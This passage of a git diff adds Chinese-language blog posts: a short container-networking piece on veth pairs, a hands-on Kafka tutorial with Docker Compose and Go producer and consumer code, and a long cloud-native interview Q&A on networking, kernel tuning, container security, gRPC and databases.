+#### 2.1 RPC VS RESTful + +RPC 操作的是方法和过程。RPC 需要知道调用的过程的名字,过程的参数,以及他们的参数类型。RESTful 操作的是资源。是对资源的 CRUD 操作。 + +#### 2.2 Socket 实现 RPC? + +RPC over TCP 是通过长连接减少建立连接产生的过程花费(调用次数很大的情况下)。但是大规模的公司不可能只依赖单体程序提供的服务。微服务架构模式下,服务与服务间的通讯就很重要,于是 RPC 是一个很好的解决服务间通讯的问题。 diff --git a/_posts/2023-10-1-test-markdown.md b/_posts/2023-10-1-test-markdown.md new file mode 100644 index 000000000000..8ad6b1e4293b --- /dev/null +++ b/_posts/2023-10-1-test-markdown.md @@ -0,0 +1,46 @@ +--- +layout: post +title: 容器网络 +subtitle: +tags: [Kubernetes] +--- + +作为一个容器,它可以声明直接使用宿主机的网络栈(–net=host),即:不开启 Network Namespace,比如 + +```shell +docker run –d –net=host --name nginx-host nginx +``` + + +### 被隔离的容器进程,如何跟其他 Network Namespace 里的容器进程进行交互? + +在 Linux 中,每个网络命名空间(Network Namespace)都有自己的网络栈,包括网卡设备、路由表、ARP 表等。在一个网络命名空间中的进程只能看到这个命名空间的网络设备和配置,不能直接与其他网络命名空间中的进程进行网络通信。 + +然而,可以创建一个网络设备对(通常是虚拟以太网设备对 veth pair),将其中一个设备放在一个网络命名空间中,另一个设备放在另一个网络命名空间中,就可以实现这两个网络命名空间中的进程互相通信。 + + +以下是一个简单的例子,演示如何创建一个 veth pair,并将其分别放在两个不同的网络命名空间中: + +```shell +# 创建两个网络命名空间 ns1 和 ns2 +sudo ip netns add ns1 +sudo ip netns add ns2 + +# 创建一个 veth pair,设备名分别为 veth1 和 veth2 +sudo ip link add veth1 type veth peer name veth2 + +# 将 veth1 放入 ns1 中 +sudo ip link set veth1 netns ns1 + +# 将 veth2 放入 ns2 中 +sudo ip link set veth2 netns ns2 + +# 在每个网络命名空间中配置 IP 地址 +sudo ip netns exec ns1 ip addr add 192.0.2.1/24 dev veth1 +sudo ip netns exec ns2 ip addr add 192.0.2.2/24 dev veth2 + +# 在每个网络命名空间中启动网络设备 +sudo ip netns exec ns1 ip link set veth1 up +sudo ip netns exec ns2 ip link set veth2 up + +``` \ No newline at end of file diff --git a/_posts/2023-10-10-test-markdown.md b/_posts/2023-10-10-test-markdown.md new file mode 100644 index 000000000000..accedbfa8bd1 --- /dev/null +++ b/_posts/2023-10-10-test-markdown.md @@ -0,0 +1,289 @@ +--- +layout: post +title: Kafka的简单上手 +subtitle: +tags: [kafka] +comments: true +--- + +## 1.使用Docker安装Kafka +首先,确保已经安装了Docker和Docker Compose。 + +#### 1.1 获取Kafka Docker镜像: + +使用wurstmeister/kafka这个流行的Docker镜像。这个镜像也包含了Zookeeper,因为Kafka依赖于Zookeeper。 +```shell +docker pull wurstmeister/kafka +``` +为什么说Kafka依赖于Zookeeper? +- 集群协调:Kafka 使用 Zookeeper 来协调 broker,例如:确定哪个 broker 是分区的 leader,哪些是 followers。 +- 存储元数据:Zookeeper 保存了关于 Kafka 集群的元数据信息,例如:当前存在哪些主题,每个主题的分区和副本信息等。 +- 维护集群状态:例如 broker 的加入和退出、分区 leader 的选举等,都需要 Zookeeper 来帮助维护状态和通知相关的 broker。 +- 动态配置:Kafka 的某些配置可以在不重启 broker 的情况下动态更改,这些动态配置的信息也是存储在 Zookeeper 中的。 +- 消费者偏移量:早期版本的 Kafka 使用 Zookeeper 来保存消费者的偏移量。尽管在后续版本中,这个功能被移到 Kafka 自己的内部主题 (__consumer_offsets) 中,但在一些老的 Kafka 集群中,Zookeeper 仍然扮演这个角色。 +因为 Zookeeper 在 Kafka 的运作中起到了如此关键的作用,所以当部署一个 Kafka 集群时,通常也需要部署一个 Zookeeper 集群来与之配合。 + +#### 1.2 使用docker-compose启动Kafka: + +创建一个docker-compose.yml文件,并输入以下内容: +```yaml +version: '2' +services: + zookeeper: + image: wurstmeister/zookeeper:3.4.6 + ports: + - "2181:2181" + kafka: + image: wurstmeister/kafka + ports: + - "9092:9092" + environment: + KAFKA_ADVERTISED_LISTENERS: INSIDE://kafka:9093,OUTSIDE://localhost:9092 + KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: INSIDE:PLAINTEXT,OUTSIDE:PLAINTEXT + KAFKA_INTER_BROKER_LISTENER_NAME: INSIDE + KAFKA_LISTENERS: INSIDE://0.0.0.0:9093,OUTSIDE://0.0.0.0:9092 + KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181 # 添加这一行 + volumes: + - /var/run/docker.sock:/var/run/docker.sock +``` + +- version: 这指定了docker-compose的版本。版本'2'是一个相对较早的版本,但它足够满足我们的需求。 +- services: 定义了要启动的所有服务容器。这里,我们有两个服务:zookeeper和kafka。 +- zookeeper: + - image: 指定了我们要使用的Docker镜像。这里使用的是wurstmeister/zookeeper:3.4.6,它是一个流行的Zookeeper Docker镜像。 + - ports: 将容器内的2181端口映射到宿主机的2181端口。这意味着我们可以直接从宿主机上访问Zookeeper。 +- kafka: + - image: 同样使用wurstmeister提供的Kafka Docker镜像。 + - ports: 将容器的9092端口映射到宿主机的9092端口。 + - environment: 定义了一系列环境变量,这些变量将被传递给Kafka进程,并影响其行为。 + - KAFKA_ADVERTISED_LISTENERS: 定义了两个监听器:一个用于容器内部通信(INSIDE),一个用于与外部宿主机通信(OUTSIDE)。 + - KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: 定义了每个监听器所使用的安全协议。这里,两个监听器都使用PLAINTEXT,意味着没有加密。 + - KAFKA_INTER_BROKER_LISTENER_NAME: 这是broker之间互相通信使用的监听器。这里,它们使用容器内部的监听器。 + - KAFKA_LISTENERS: 定义了两个监听器的地址和端口。 + - KAFKA_ZOOKEEPER_CONNECT: 这指定了Zookeeper的地址和端口,Kafka需要这个信息来与Zookeeper互动。 + - volumes: 这里,我们只是映射了宿主机的Docker socket。这通常用于使Kafka容器能够与Docker守护进程进行通信,以便它可以查询其他容器的IP地址。 +从这个配置中,Kafka容器的broker的具体配置主要在environment部分。这里定义了它的监听器、安全协议以及如何连接到Zookeeper。这些配置都将在启动Kafka容器时传递给Kafka进程。 + +运行以下命令来启动Kafka和Zookeeper: + +```shell +docker-compose up -d +WARN[0000] Found multiple config files with supported names: /Users/gongna/docker-compose.yml, /Users/gongna/docker-compose.yaml +WARN[0000] Using /Users/gongna/docker-compose.yml +WARN[0000] Found multiple config files with supported names: /Users/gongna/docker-compose.yml, /Users/gongna/docker-compose.yaml +WARN[0000] Using /Users/gongna/docker-compose.yml +[+] Running 2/2 + ✔ Container gongna-zookeeper-1 Started 0.2s + ✔ Container gongna-kafka-1 Started +``` +看到以上消息代表已经成功的启动了。 + +#### 1.3 使用Kafka + +##### 1.3.1 创建主题: + +查找容器ID + +```shell +docker ps +``` +进入Kafka容器: + +```shell +docker exec -it [KAFKA_CONTAINER_ID] /bin/bash +``` +使用Kafka的命令行工具创建一个名为test的主题: + +```shell +kafka-topics.sh --create --zookeeper zookeeper:2181 --replication-factor 1 --partitions 1 --topic test +``` +- `kafka-topics.sh`:这是Kafka提供的一个shell脚本工具,用于管理Kafka topics。 +- `--create`:这个标识表示我们要创建一个新的topic。 +- `--zookeeper zookeeper:2181`:指定Zookeeper的地址和端口。Kafka使用Zookeeper来存储集群元数据和topic的配置信息。在这里,zookeeper:2181表示Zookeeper服务运行在名为zookeeper的容器上,并监听2181端口。 +- `--replication-factor 1`:定义了这个topic的每个partition应该有多少个replica(副本)。在这里,我们设置为1,意味着每个partition只有一个副本。在生产环境中,可能会希望有更多的副本来增加数据的可靠性。 +- `--partitions 1`:定义了这个topic应该有多少个partitions(分区)。 +- `--topic test`:定义了新创建的topic的名称,这里是test。 +- 这条命令创建了一个名为test的新topic,这个topic有1个partition和1个replica,并存储在运行在zookeeper:2181上的Zookeeper中。 + +##### 1.3.2 生产消息: +使用Kafka的命令行生产者工具发送消息: + +```shell +kafka-console-producer.sh --broker-list kafka:9093 --topic test +``` +- `kafka-console-producer.sh`:这是Kafka提供的一个shell脚本工具,用于启动一个控制台生产者。这个生产者允许通过控制台手动输入并发送消息到Kafka。 +- `--broker-list kafka:9093`:这个参数指定了Kafka broker的地址和端口。在这里,我们指定的是运行在名为kafka的容器上的broker,监听9093端口。注意,这里的9093端口是在Docker容器内部使用的端口,与我们在docker-compose.yml文件中设置的外部端口9092不同。 +- `--topic test`:这个参数指定了消息应该发送到哪个Kafka topic。在这里,我们选择发送到名为test的topic。 + +当运行这个命令后,会进入一个控制台界面。在这个控制台,可以手动输入消息,每输入一条消息并按下回车,这条消息就会被发送到test topic。这是一个非常有用的工具,特别是当想要在没有编写生产者代码的情况下,手动测试Kafka消费者或整个系统的功能时。 +然后,您可以键入消息并按Enter发送。 + +```shell +docker exec -it 1e35c5fa5306 /bin/bash +root@1e35c5fa5306:/# kafka-console-producer.sh --broker-list kafka:9093 --topic test +> hello world +``` + +##### 1.3.3 消费消息: +在另一个终端或者容器内,使用Kafka的命令行消费者工具来接收消息: +```shell +kafka-console-consumer.sh --bootstrap-server kafka:9093 --topic test --from-beginning +``` + +- kafka-console-consumer.sh: 这是Kafka的命令行消费者工具,它允许从指定的topic中读取数据。 +- --bootstrap-server kafka:9093: +- --bootstrap-server是指定要连接的Kafka broker或bootstrap服务器的参数。 +- kafka:9093表示消费者应该连接到名为kafka的服务器上的9093端口。这里,kafka是Docker Compose文件中定义的Kafka服务的名称。在Docker网络中,可以使用服务名称作为其主机名。 +- --topic test: +- --topic是指定要从中读取数据的topic的参数。 +- test是之前创建的topic的名称。 +- --from-beginning: 这个参数表示消费者从topic的开始位置读取数据,而不是从最新的位置。换句话说,使用这个参数,会看到topic中存储的所有消息,从最早的消息开始。 +此时,您应该能在消费者终端看到在生产者终端输入的消息。 + +```shell +docker exec -it 1e35c5fa5306 /bin/bash +root@1e35c5fa5306:/# kafka-console-consumer.sh --bootstrap-server kafka:9093 --topic test --from-beginning +hello world +``` +似不似很简单!!🎉🎉🎉 + +#### 1.4 Kafka的实际使用场景 +现在已经了解了Kafka的基础操作,这里是一些Kafka的典型使用场景: +1. 日志聚合:将分布式系统中的各种日志汇总到一个集中的日志系统。 +2. 流处理:使用Kafka Streams或其他流处理框架实时处理数据。 +3. 事件源:记录系统中发生的每一个状态变化,以支持事务和系统状态的恢复。 +4. 集成与解耦:在微服务架构中,使用Kafka作为各个微服务之间的中间件,确保它们之间的解耦。 + +#### 1.5 编码实现 + +安装库: +```shell +go get -u github.com/confluentinc/confluent-kafka-go/kafka +``` +编写生产者代码: +```go +package main + +import ( + "fmt" + "os" + + "github.com/confluentinc/confluent-kafka-go/kafka" +) + +func main() { + broker := "localhost:9092" + topic := "test" + + producer, err := kafka.NewProducer(&kafka.ConfigMap{ + "bootstrap.servers": broker, + }) + if err != nil { + fmt.Printf("Failed to create producer: %s\n", err) + os.Exit(1) + } + + defer producer.Close() + + // Produce a message to the 'test' topic + message := "Hello, Kafka from Go!" + producer.Produce(&kafka.Message{ + TopicPartition: kafka.TopicPartition{Topic: &topic, Partition: kafka.PartitionAny}, + Value: []byte(message), + }, nil) + + // Wait for message deliveries + producer.Flush(15 * 1000) +} +``` + +- 在Kafka的上下文中,一个broker是一个单独的Kafka服务器实例,负责存储数据并为生产者和消费者服务。一个Kafka集群通常由多个brokers组成,这样可以确保数据的可用性和容错性。 +- 为什么叫“broker”呢?因为在许多系统中,broker是一个中介或协调者,帮助生产者和消费者之间的交互。在Kafka中,brokers确保数据的持久化、冗余存储和分发给消费者。 +- 当在代码中指定"bootstrap.servers": broker,实际上是在告诉Kafka生产者客户端在哪里可以找到集群的一个或多个broker以连接到整个Kafka集群。 +- bootstrap.servers可以是Kafka集群中的一个或多个broker的地址。不需要列出集群中的所有broker,因为一旦客户端连接到一个broker,它就会发现集群中的其他brokers。但是,通常建议列出多个brokers以增加初始连接的可靠性。 +综上所述,可以将broker视为Kafka的单个服务器实例,它存储数据并处理客户端请求。当的生产者或消费者代码连接到localhost:9092时,它实际上是在连接到运行在该地址的Kafka broker。如果有一个包含多个brokers的Kafka集群,的bootstrap.servers配置可能会看起来像这样:broker1:9092,broker2:9092,broker3:9092。 +编写消费者代码: + +```go +package main + +import ( + "fmt" + "os" + + "github.com/confluentinc/confluent-kafka-go/kafka" +) + +func main() { + broker := "localhost:9092" + groupId := "myGroup" + topic := "test" + + consumer, err := kafka.NewConsumer(&kafka.ConfigMap{ + "bootstrap.servers": broker, + "group.id": groupId, + "auto.offset.reset": "earliest", // Use "latest" to only receive new messages + }) + if err != nil { + fmt.Printf("Failed to create consumer: %s\n", err) + os.Exit(1) + } + + defer consumer.Close() + + // Subscribe to the topic + err = consumer.Subscribe(topic, nil) + if err != nil { + fmt.Printf("Failed to subscribe to topic: %s\n", err) + os.Exit(1) + } + + for { + msg, err := consumer.ReadMessage(-1) + if err == nil { + fmt.Printf("Received message: %s\n", string(msg.Value)) + } else { + fmt.Printf("Consumer error: %v (%v)\n", err, msg) + break + } + } +} +``` + +- Group ID: Kafka消费者使用group.id进行分组。这允许多个消费者实例共同协作并共享处理主题的分区。Kafka保证每条消息只会被每个消费者组中的一个消费者实例消费。group.id 是用来标识这些消费者属于哪个消费者组的。当多个消费者有相同的 group.id 时,他们属于同一个消费者组。 +- auto.offset.reset: 这告诉消费者从哪里开始读取消息。earliest表示从起始位置开始,latest表示只读取新消息。Kafka中的每条消息在其所属的分区内都有一个唯一的序号,称为offset。消费者在消费消息后会存储它已经消费到的位置信息(offset)。如果消费者是首次启动并且之前没有offset记录,auto.offset.reset 决定了它从哪里开始消费。设置为 earliest 会从最早的可用消息开始消费,而 latest 会从新的消息开始消费。 +- 为了运行这个代码,需要确保Kafka broker正在运行、可以从的Go应用程序访问,而且主题中有消息(可以使用上面的生产者代码来产生消息)。 +Kafka的基本架构: +- Producer:生产者,发送消息到Kafka主题。 +- Topic:消息的分类和来源,可以视为消息队列或日志的名称。 + +Topic(主题): + - Kafka 中的 Topic 是一个消息流的分类或名称的标识。可以把它看作是一个消息的类别或者分类,比如"用户注册"、"订单支付"等。(同类数据单元) + - 可以认为 Topic 就像是一个数据库中的表(但它的行为和特性与数据库表是不同的)。 + - 一个 Topic 可以有多个 Partition(分区)。 +消息(Message): + - Message 是发送或写入 Kafka 的数据单元。 + - 每条 Message 包含一个 key 和一个 value。key 通常用于决定消息应该写入哪个 Partition。 + - 可以认为 Message 就像数据库表中的一行记录。 +Partition(分区): + - Partition 是 Kafka 提供数据冗余和扩展性的方法。每个 Topic 可以被分为多个 Partition,每个 Partition 是一个有序的、不可变的消息序列。 + - Partition 允许 Kafka 在多个服务器上存储、处理和复制数据,从而提供了数据冗余和高可用性。每个 Partition 会在 Kafka 集群中的多台机器上进行复制。 + - 当生产者发送消息到 Kafka 时,它可以根据某种策略(通常是消息的 key)来决定该消息应写入哪个 Partition。 + +Topic 和 Partition 的关系: + - Topic:可以视为一个抽象的数据集或数据流的名称,类似于数据库中的一个表。 + - Partition:实际上是Topic的物理实现。每个Partition都是一个有序的消息日志,存储了该Topic的一部分数据。当我们提及将数据发送到一个Topic时,实际上是在将数据发送到该Topic的一个或多个Partition。 + - 一个 Topic 被切分为多个 Partition 可以使 Kafka 有效地在多台机器上并行处理数据。 + - 当消费者消费数据时,它可以并行从多个 Partition 读取数据,从而实现高吞吐量。 +总之,也就是说一个Topic 相当于是一个完整的表,而Partition 就相当于把这个表进行水平分片,每个Partition存储的是这个表的一部分数据而不是完整的数据,而每个Partition不仅存储在一个broker上,而且还会在其他几个broker上复制,分为LeaderReplicas,FollowerReplicas, +Partition 提供了 Kafka 的核心能力,如数据冗余、高可用性、扩展性和并行处理能力。而 Topic 为消息分类,并可以由多个 Partition 支持以满足扩展和并行处理的需求。Topic 是 Kafka 中的分类或命名空间,用于组织和管理消息。而消息是 Kafka 中传输的数据单元。生产者发送消息到特定的 Topic,而消费者从 Topic 读取这些消息。 +- Partition:主题可以分成多个分区,每个分区是一个有序的、不可变的消息序列。分区允许Kafka在多个broker上水平扩展。 + +Partition与Message的关系: +- 消息在被发送到 Kafka 主题时,会被分配到某一个特定的分区。如何分配通常基于消息的 key,或者轮询策略,或其他自定义的策略。 +- 一旦消息被写入分区,它会被分配一个唯一的序列号,称为 offset。这个 offset 在分区内是连续的,并且随着每个新消息的添加而递增。 +- 因此,可以说分区实际上是消息的容器,而 offset 是在这个容器内定位消息的方法。 +- Broker:Kafka服务实例,存储数据并与客户端交互。 +- Consumer:消费者,从Kafka主题读取消息。 +- Consumer Group:由一个或多个消费者组成的组,共同读取并处理一个主题。每个分区在任何时候都只分配给消费者组中的一个消费者实例。 +- Offset:每条消息在其所属的分区中的位置。 \ No newline at end of file diff --git a/_posts/2023-10-11-test-markdown.md b/_posts/2023-10-11-test-markdown.md new file mode 100644 index 000000000000..2458be798991 --- /dev/null +++ b/_posts/2023-10-11-test-markdown.md @@ -0,0 +1,1406 @@ +--- +layout: post +title: 云原生基础 +subtitle: +tags: [云原生] +comments: true +--- + +## 基础 + +> 大规模容器网络解决方案。 + +**Overlay Networks**: +如Flannel,它使用VXLAN来在主机之间创建一个虚拟网络 +Overlay Networks:Flannel & VXLAN +Flannel:Flannel 是一个为 Kubernetes 提供网络功能的解决方案。它允许容器在多个主机上相互通信。 +VXLAN:VXLAN(Virtual Extensible LAN)是一种网络虚拟化技术,通过在物理网络上封装原始数据包来创建一个虚拟网络。这意味着,即使容器分布在不同的物理机器上,它们也可以像在同一局域网上一样进行通信。 + +**Network Plugins** + +如CNI (Container Network Interface),它提供了一种标准的方式来设置和管理容器网络。 +CNI:CNI 是一个规范,为容器提供网络接口。插件可以为容器设置或撤销网络连接。Kubernetes 使用 CNI 作为其网络插件的接口,意味着任何符合 CNI 规范的网络插件都可以与 Kubernetes 无缝集成。 + + +**SDN Solutions** + +如Calico、Weave和Cilium,这些解决方案通常提供网络策略和其他高级特性。 + +Calico:Calico 是一个纯粹的 3 层网络方案,使用 BGP(边界网关协议)进行路由。它提供的网络策略非常强大,允许用户控制流入和流出容器的流量。 +Weave:Weave 创建了一个虚拟网络,容器使用这个网络进行通信,无需进一步修改或配置。Weave 也可以与 Docker 和 Kubernetes 一起使用。 +Cilium:Cilium 使用 eBPF(扩展的伯克利数据包过滤器)来过滤、修改和转发流量。它提供了详细的网络可见性和安全策略。 + +**Service Mesh** + +如Istio和Linkerd,它们主要处理服务间通信的复杂性。 +Istio:Istio 提供了一个平台,用于连接、保护、控制和观察微服务。它的主要特性包括流量管理、安全、策略执行和遥测数据收集。Istio 通过注入一个 Envoy 代理到每个服务的 Pod 中来工作,从而能够控制服务间的所有通信。 +Linkerd:Linkerd 是一个透明的服务网格,提供功能如负载均衡、失败恢复、TLS、流量分割等。它也有一个轻量级的代理,为每个服务提供网络功能。 + + +> 如何处理100G/200G/400G网络中的拥塞控制? + +**使用ECN (Explicit Congestion Notification)** +这允许网络设备在实际拥塞发生之前通知发送者。 + +ECN (Explicit Congestion Notification): + +原理: ECN 是 IP 和传输层协议 (例如 TCP) 的一部分,用于在网络拥塞期间无损地通知发送者和接收者。具体来说,当某个路由器经历拥塞时,它可以将传入数据包的 ECN 字段设置为 "拥塞经历",而不是简单地丢弃数据包。 +目的: 当接收方收到带有 "拥塞经历" 标记的数据包时,它会通过确认消息 (例如 TCP ACK) 告知发送方,然后发送方可以降低其发送速率,从而缓解拥塞。 + + +**PFC (Priority Flow Control)**: +使用PFC (Priority Flow Control):它为不同的流量类别提供独立的队列,确保高优先级流量不被拥塞影响。 + +原理: PFC 是数据中心桥接 (DCB) 的一部分,它允许在以太网链路上为不同的优先级队列暂停发送。当某个队列的数据量超过一定阈值时,接收方可以向发送方发送 PFC 帧,要求其停止发送特定优先级的数据。 +目的: 通过为不同的流量类别提供独立的队列,PFC 可以确保高优先级流量不受低优先级流量拥塞的影响。 +DCTCP (Data Center TCP): + +**使用动态调整的流量调度算法:如DCTCP (Data Center TCP)** + +如DCTCP (Data Center TCP)。 +原理: DCTCP 是 TCP 的一个变种,特别设计用于数据中心环境,其中网络拥塞是短暂和频繁的。DCTCP 通过使用 ECN 标记来检测网络中的拥塞,并根据标记的数量动态调整其拥塞窗口。 +目的: 与传统的 TCP 不同,DCTCP 能够更快地响应拥塞,并在数据中心环境中提供更低的延迟和更高的吞吐量。 + +**QoS (Quality of Service)**: +为不同类型的流量分配不同的带宽和优先级。 + +原理: QoS 是一套用于网络流量管理的技术和策略,可以为不同类型的流量分配不同的带宽和优先级。QoS 可以基于多种参数,如源/目的 IP、端口、协议等来分类流量,并为每一类流量分配特定的资源。 +目的: QoS 的目标是确保关键应用程序和服务获得所需的网络资源,同时在网络拥塞时限制非关键应用程序的带宽 + + + +> 讨论一下对Kubernetes的理解及其与传统虚拟化技术的差异。 + +资源效率:容器直接在宿主机上运行,而不需要额外的操作系统,这使得它们比虚拟机更轻量。 +启动时间:容器可以在几秒钟内启动,而虚拟机通常需要几分钟。 +隔离性:虽然容器提供了进程级的隔离,但它们不如完整的虚拟机那么安全。 +可移植性:由于容器包括其依赖项,它们可以在不同的环境中一致地运行。 + +> 如何看待Service Mesh技术,例如Istio,以及其在微服务架构中的价值? + +答:Service Mesh是一个用于处理服务间通信的基础设施层。Istio等Service Mesh技术为微服务架构提供了以下价值: +流量管理:可以轻松地实现蓝绿部署、金丝雀发布等。 +安全:提供了服务间的mTLS加密。 +观测性:自动收集服务间的跟踪、度量和日志。 +故障注入和恢复:用于测试和增加系统的弹性。 + + +> 在大规模环境中,如何优化资源调度和监控报警? + +资源调度:可以考虑使用更智能的调度策略,例如考虑数据局部性、服务器负载、能效等。Kubernetes的自定义调度器或Hadoop的容量调度器是这方面的例子。 + +监控报警:应该实施细粒度的监控,允许报警条件的微调,并根据服务的优先级或业务影响进行分类。此外,利用AI和机器学习技术可以更智能地预测和自动修复问题,减少误报。 + +## 内核 + +> 谈谈对Linux内核的理解,是否有过内核开发或调优经验? + +Linux内核是操作系统的核心,负责管理系统的硬件资源、为应用程序提供运行环境、以及确保多任务和多用户功能的正常运行。它涉及进程管理、内存管理、文件系统、设备驱动程序、网络等多个子系统。虽然我主要专注于应用层开发,但我对内核有基本的了解,如进程调度、文件I/O和内存管理等。我曾经为了解决特定的性能问题进行过系统调优,但没有进行过核心的内核开发。 + +进程调度: +定义: 进程调度是操作系统的核心部分,负责决定哪个进程应该在何时获得 CPU 的执行权。调度算法通常基于优先级、进程状态、CPU 占用时间等因素。 +主要算法: 常见的调度算法有 First-Come-First-Serve (FCFS)、Round Robin、Priority Scheduling、Shortest Job First (SJF) 等。 +性能问题:在高并发场景下,如果调度不当,可能导致 CPU 资源浪费或某些任务响应时间增长。 +调优:可以通过调整进程优先级、改变调度算法或者使用 CPU 亲和性 (CPU Affinity) 来确保关键进程获得更多的 CPU 时间。 + +文件I/O: +定义: 文件I/O是操作系统提供的一套接口,用于程序与文件系统交互,如打开、读取、写入和关闭文件。 +性能问题:频繁的小文件操作、同步I/O操作或不恰当的文件缓存策略可能导致I/O瓶颈。 +调优:可以通过使用异步I/O、增加缓存、使用更高效的文件系统(如EXT4或XFS)或调整 I/O 调度策略 (如 CFQ, NOOP) 来提高I/O性能。 + +内存管理: +定义: 内存管理是操作系统用于分配、跟踪和回收系统内存的机制,包括物理内存和虚拟内存。 +性能问题:内存泄漏、频繁的页面交换 (swap) 或内存碎片化都可能导致系统性能下降。 +调优:可以通过调整内存分配策略、使用更有效的内存分配算法、限制某些进程的内存使用或调整 swap 策略来优化内存使用。 + +> 描述一次对JVM进行调优的经验。 + +> 如何确保容器在生产环境中的安全性? + +限制容器权限: + +使用非特权容器,避免容器具有宿主机的 root 权限。 +使用 Linux 的用户命名空间 (user namespaces) 来映射容器的 root 用户到宿主机的非 root 用户。 + +只使用受信任的容器镜像: +从可靠的、经过验证的来源获取容器镜像。 +使用工具(如 Clair、Anchore 等)定期扫描镜像以查找已知的安全漏洞。 +限制容器访问: + +使用 cgroups 和 ulimits 来限制容器可以使用的资源,如 CPU、内存和文件描述符。 +使用 Seccomp、AppArmor 或 SELinux 策略来限制容器的系统调用。 + +加固网络安全: +使用网络策略来限制容器之间和外部网络的通信。 +使用 Service Mesh,如 Istio,来提供网络流量的加密、授权和审计。 + +加固容器运行时: +使用硬件辅助的隔离技术,如 Intel Clear Containers 或 gVisor,来提供额外的隔离层。 +定期更新容器运行时,如 Docker 或 containerd,以应用最新的安全补丁。 + +数据加密: +使用加密存储解决方案,如 dm-crypt 或 Linux Unified Key Setup (LUKS),来加密容器的数据卷。 +传输数据时使用 TLS/SSL 来确保数据的机密性和完整性。 + +审计和日志记录: +使用工具(如 Falco)来监控容器的运行时行为,并产生警告。 +保留并定期审核容器和宿主机的日志。 + +持续集成和持续部署 (CI/CD): +在 CI/CD 流水线中加入安全检查,确保只有合格的容器镜像被部署到生产环境。 +使用签名来验证镜像的完整性。 + +限制宿主机的访问: +使用专门的节点或集群来隔离敏感或关键的应用。 +应用最小权限原则,只给予必要的访问权限。 + +保持更新: +定期更新宿主机操作系统、容器运行时和所有的容器应用,确保已应用所有的安全补丁。 +考虑到容器技术和相关的威胁不断发展,保持对最新安全实践和工具的关注是非常重要的。 + + + +> 对于分布式协调系统,Zookeeper和ETCD有何异同? + +相同之处: + +两者都是为分布式系统提供配置、服务发现和同步的解决方案。 +都保证强一致性。 +都支持分布式锁和领导选举等功能。 + +不同之处: +语言和运行环境:Zookeeper是用Java编写的,而ETCD是用Go编写的。 + +数据模型:Zookeeper使用类似文件系统的层次结构,而ETCD使用简单的键/值存储。 + +API:ETCD使用gRPC和HTTP/REST API,而Zookeeper有自己的定制协议。 + +持久性:ETCD使用Raft协议来确保数据的持久性和一致性,而Zookeeper使用ZAB协议。 + +集成与生态系统:Zookeeper往往与老的大数据技术(如Kafka、Hadoop)集成得较好,而ETCD常常与现代的云原生技术(如Kubernetes)紧密集成。 + +## 中间件 + +> 请解释微服务的优点和挑战,并描述如何解决其中的一个挑战。 + +可扩展性:各个微服务可以根据需求独立地进行扩展。 +独立部署:单一服务的更改和部署不会影响其他服务。 +技术多样性:可以为不同的服务选择最合适的技术栈。 +故障隔离:一个服务的故障不会直接导致整个系统的故障。 + +服务间通信:微服务之间需要高效、可靠的通信。 +数据一致性:维护跨多个服务的数据一致性是个大挑战。 +服务发现和负载均衡。 +分布式系统的复杂性。 +为解决服务间通信的挑战,我之前在项目中使用了Service Mesh技术,例如Istio,来管理微服务之间的通信,提供了负载均衡、服务发现、流量控制、安全通信等功能。 + + +> 请描述一个使用或开发的分布式通信框架的例子。 + +我曾使用gRPC作为分布式通信框架。gRPC是一个高性能、开源和通用的RPC框架,支持多种编程语言。利用ProtoBuf作为其序列化工具,它不仅提供了丰富的接口定义语言,还提供了负载均衡、双向流、流控、超时、重试等高级功能。 +超时: + +```go +conn, err := grpc.Dial(address, grpc.WithInsecure()) +defer conn.Close() +client := pb.NewYourServiceClient(conn) + +ctx, cancel := context.WithTimeout(context.Background(), time.Second*5) +defer cancel() + +response, err := client.YourMethod(ctx, &pb.YourRequest{}) +``` +重试: +```go +for i := 0; i < maxRetries; i++ { + response, err := client.YourMethod(ctx, &pb.YourRequest{}) + if err == nil { + break + } + time.Sleep(retryInterval) +} + +``` + +双向流: +```go +stream, err := client.YourBiDiStreamingMethod(ctx) + +go func() { + for { + // Sending a message + stream.Send(&pb.YourRequest{}) + } +}() + +for { + response, err := stream.Recv() + if err == io.EOF { + break + } + // Handle the received message +} +``` + +流控(Flow Control): +这是HTTP/2的内置特性,对于gRPC用户来说是透明的。但从服务端,可以控制发送的速度来模拟流控: +```go +stream, err := client.YourServerStreamingMethod(ctx) +for { + response, err := stream.Recv() + if err == io.EOF { + break + } + // Handle the received message and then sleep to simulate slow processing + time.Sleep(time.Second * 2) +} +``` + +负载均衡: +```go +conn, err := grpc.Dial( + address, + grpc.WithBalancerName("round_robin"), // Use round_robin load balancing strategy + grpc.WithInsecure(), +) +``` +> 在微服务架构中,如何保证全局高可用性? + +在微服务架构中,确保高可用性需要以下策略: + +使用冗余:确保每个服务都有多个实例运行。 +负载均衡:使用负载均衡器如Nginx、HAProxy或Service Mesh的负载均衡功能。 +健康检查和自愈:对服务进行定期健康检查,并在检测到故障时自动替换失败的实例。 +容灾备份:在不同的物理位置部署微服务的复制品以准备可能的灾难。 +流量控制和熔断机制:防止因一个服务的故障导致整个系统的雪崩效应。 + + +> Serverless有哪些优势和限制?如何看待Serverless的未来? +优势: + +弹性扩展:自动处理扩展,无需手动干预。 +成本效益:只为实际使用的资源付费。 +运维减少:平台处理所有的基础设施和运维任务。 +限制: + +启动延迟:冷启动可能导致额外的延迟。 +长时间执行的任务不适合:大多数提供者有执行时间的限制。 +资源限制:内存、CPU等资源可能有限制。 + +对于Serverless的未来,我看好它作为开发和部署某些类型应用的方式,特别是事件驱动的应用和短暂的工作负载。但我认为它不太可能完全取代传统的计算模型,尤其在需要高性能、长时间运行或特殊资源的场景中。 + +## 数据库相关 + +> 描述一次对MySQL或其他数据库性能优化的经验。 + +在我过去的项目中,我们曾遇到一个MySQL性能瓶颈,查询响应时间非常长。通过使用EXPLAIN语句,我们发现某些关键查询没有有效利用索引。我首先对查询进行了重写,然后建立了合适的复合索引,显著提高了查询性能。此外,我们还调整了数据库缓存设置,确保了缓存的最大利用。 + + +> 如何处理大规模的数据分片和复制? + +对于大规模数据,分片是几乎必要的,以确保数据可管理并提高性能。我通常使用一致性哈希或范围分片,取决于数据访问模式。对于复制,我通常采用主从复制策略来提供数据冗余和读扩展性。在某些情况下,我们也使用多活动复制来提供更高的可用性。 + + +> 如何确保数据库在分布式环境中的事务一致性? + 